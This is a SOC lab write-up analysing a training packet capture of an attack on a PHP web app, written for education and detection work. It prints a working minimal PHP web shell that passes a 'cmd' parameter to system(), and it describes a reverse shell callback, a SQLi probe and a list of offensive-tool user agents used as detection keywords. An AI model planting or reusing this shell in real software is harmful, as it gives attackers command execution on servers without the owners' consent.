Lab: Blue Team Labs Online — Network Analysis: Web Shell Tool: Wireshark Category: SOC / Network Forensics Difficulty: Easy | Points: 10 Analyst: Prapul | Completion Proof
A PCAP (BTLOPortScan.pcap) was provided for analysis after suspicious activity was reported on an internal application server. The goal was to reconstruct the attacker's actions purely from network traffic — no host logs, no EDR — the way a SOC analyst would triage a packet capture handed over by a network team.
File details:
| Property | Value |
|---|---|
| File name | BTLOPortScan.pcap |
| SHA256 | e8ca5bd33178150b770043be59da117253d20a076de7898cab5cdbeef75f109f |
| First packet | 2021-02-07 22:01:22 |
| Last packet | 2021-02-07 22:16:31 |
| Elapsed | 00:15:08 |
| Total packets | 17,508 |
Before chasing anything specific, I always get the lay of the land first: Statistics → Protocol Hierarchy and Statistics → Conversations. This avoids tunnel vision and surfaces anything unusual (unexpected protocols, high-volume talkers, external destinations) before diving into individual streams.
Protocol Hierarchy showed HTTP as the dominant protocol (55.9% of packets), alongside SSH, DNS, SMB, and other cleartext protocols — a good early signal that the interesting activity is likely happening over HTTP.
Conversations (IPv4) flagged two things immediately:
- A very large, one-sided conversation between
10.251.96.4and10.251.96.5(15,883 packets / ~4MB) — worth investigating. - A separate, unrelated pair (
172.20.10.2↔172.20.10.5) generating normal-looking login traffic — noted but deprioritized since it isn't tied to the high-volume host pair above (good reminder to not conflate unrelated hosts in the same capture).
An internal host has no legitimate reason to port-scan another internal host. Filtering and sorting the TCP conversations tab surfaced exactly that: 10.251.96.4 (source port 41675) hammering 10.251.96.5 across a wide spread of ports (135, 53, 554, 25, 587, 139, 995, 143, 993, 111, 443, 110, 445, 21, 23, 22, 80, 113...) in rapid succession.
Most ports returned RST, ACK (closed). Two stood out with a SYN, ACK response — port 80 (HTTP) and port 22 (SSH) — confirming both were open on the victim.
Cross-checking in the TCP conversations tab confirms the same pattern: 10.251.96.4 → 10.251.96.5 on port 80 and port 22 each carry a distinct byte profile compared to the flood of scan traffic on other ports — consistent with a completed 3-way handshake rather than a simple probe-and-reset.
While reviewing conversations further, I also noted outbound HTTP (port 80) traffic from 10.251.96.5 to two external addresses — 34.122.121.32 and 35.224.170.84 — which don't fit the internal subnet and are worth flagging as possible C2/callback infrastructure (see IOCs below).
Following the HTTP stream for the initial GET / request shows the application is a simple PHP app (Apache/2.4.29 Ubuntu) exposing login.php, browse.php, complaint.php, and editprofile.php.
Shortly after, requests with the User-Agent gobuster/3.0.1 start appearing — directory/content brute-forcing against the same victim (10.251.96.5), hitting non-existent paths like /driver and /free and getting 404 responses back. This confirms automated content discovery was run against the server before further exploitation.
Two separate login attempts are visible in the capture, and it's important to keep them apart:
a) A normal-looking login POST — username=admin&password=Admin%401234 — sent via Chrome from 172.20.10.2 to itself. This is the unrelated host pair from Step 2 and doesn't appear connected to the attack chain against 10.251.96.5.
b) A SQL injection probe — username=%27&password=%27 (URL-decoded: ' and ') — sent to 10.251.96.5/login.php from the same Firefox/Gecko User-Agent seen scanning and enumerating the server earlier. A single-quote breakout attempt like this is a classic manual (or tool-assisted) SQLi probe used to check whether input is sanitized before it reaches a database query.
Continuing to follow the attacker's HTTP streams turns up two more requests worth flagging:
GET /browse.php — accessed post-authentication, part of normal app navigation but confirms the attacker successfully reached authenticated pages.
GET /info.php — returns a full phpinfo() page. This is a significant information disclosure: PHP version, modules, server paths, and configuration are all exposed to an unauthenticated or low-privilege requester, giving the attacker a clear picture of the attack surface before attempting to upload a payload.
The application exposes an upload feature (/upload.php, reached via editprofile.php). The attacker abused this to upload a PHP web shell disguised as dbfunctions.php:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>This is about as minimal as a web shell gets — a single parameter (cmd) passed straight into system(). Once uploaded, this file gives the attacker arbitrary OS command execution as whatever user Apache runs as.
Packet-level detail confirming the exact frame/timing of the upload transaction:
Per the investigation notes, once dbfunctions.php was reachable, the attacker used it to run:
idwhoami(used to set up a reverse shell callback)ls- a Python one-liner
This culminated in a successful reverse shell callback over TCP from 10.251.96.5 to 10.251.96.4, using a bash -i interactive shell, confirmed by follow-on whoami, ls, and python execution.
Compromised host:
| Field | Value |
|---|---|
| IP address | 10.251.96.5 |
| Hostname | bob-appserver |
| Compromised user | www-data |
Recon (port scan + gobuster) → SQLi probing on login.php → phpinfo() disclosure via info.php
→ web shell upload via /upload.php (dbfunctions.php) → command execution as www-data
→ reverse shell callback (bash -i) → attacker has interactive access
| Time (approx, source clock) | Event |
|---|---|
| 22:01:22 | Capture starts |
| 22:03:06 | Port scan begins — 10.251.96.4 → 10.251.96.5 |
| 22:03:31 (16:33:31 server) | GET / — initial app recon |
| 16:34:05–16:34:06 | Gobuster v3.0.1 directory brute force |
| 16:33:40 | Login POST — SQLi probe ('/') |
| 16:35:25 | GET /info.php — phpinfo() disclosure |
| 16:40:39 | POST /upload.php — dbfunctions.php web shell uploaded |
| 16:42:37 | Reverse shell callback established (10.5 → 10.4) |
| 22:16:31 | Capture ends |
| Type | Value | Notes |
|---|---|---|
| Internal attacker host | 10.251.96.4 | Source of port scan, Gobuster, SQLi, upload |
| Victim host | 10.251.96.5 (bob-appserver) | Compromised as www-data |
| Suspicious external IP | 34.122.121.32 | Outbound HTTP from victim, port 80 |
| Suspicious external IP | 35.224.170.84 | Outbound HTTP from victim, port 80 |
| Malicious file | dbfunctions.php | PHP web shell uploaded via /upload.php |
| User-Agent | gobuster/3.0.1 |
Directory brute-force tool signature |
| User-Agent | Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 |
Attacker's browser/tool UA (10.251.96.4) |
| Suspicious port | 44422 | Unusual open port observed during scan, possible additional running service |
| Technique ID | Technique | Evidence |
|---|---|---|
| T1595.001 | Active Scanning: Scanning IP Blocks / Port Scan | Rapid SYN sweep from 10.251.96.4 → 10.251.96.5 |
| T1046 | Network Service Discovery | Open ports 22, 80 identified via SYN-ACK |
| T1595.002 | Active Scanning: Vulnerability/Content Scanning | Gobuster directory brute-force |
| T1190 | Exploit Public-Facing Application | SQLi probing + abuse of upload functionality |
| T1592 / T1082 | Gathering Victim Host Information / System Information Discovery | phpinfo() disclosure via /info.php |
| T1505.003 | Server Software Component: Web Shell | dbfunctions.php uploaded and executed |
| T1059.004 | Command and Scripting Interpreter: Unix Shell | system($cmd) execution, bash -i |
| T1071.001 | Application Layer Protocol: Web Protocols | HTTP-based command execution and possible C2 callback |
Wireshark display filters used to reconstruct this incident, reusable as a detection/triage checklist:
# Isolate all traffic between attacker and victim
ip.addr == 10.251.96.4 && ip.addr == 10.251.96.5
# Find POST requests from the suspected attacker
http.request.method == POST && ip.addr == 10.251.96.4
# Find successful (200 OK) responses from the victim server
(http.response.code == 200) && (ip.src == 10.251.96.5)
# Isolate a specific TCP conversation once a stream index is known
tcp.stream eq <n>
Detection engineering takeaways for a SIEM/IDS:
- Alert on a single internal source IP generating SYN packets to >10 distinct destination ports on another internal host within a short window (port scan behavior).
- Alert on User-Agent strings matching known offensive tooling (
gobuster,sqlmap,nikto, etc.) in HTTP logs. - Alert on
multipart/form-datauploads where the uploaded filename has a server-side executable extension (.php,.asp,.jsp) on file-upload endpoints not intended for that purpose. - Restrict or monitor access to
phpinfo()/ debug endpoints in production — they hand attackers a configuration map for free. - Egress-filter and alert on outbound connections from application servers to IPs outside expected allow-lists (would have flagged the 34.122.121.32 / 35.224.170.84 traffic immediately).
- Wireshark — full packet analysis
- Gobuster v3.0.1 — directory/content enumeration (attacker-side)
- SQLMap — noted in investigation as used for automated SQL injection testing
This analysis was performed against a training PCAP provided by Blue Team Labs Online (BTLO) for educational purposes. All IPs, hostnames, and payloads are part of a simulated lab environment.













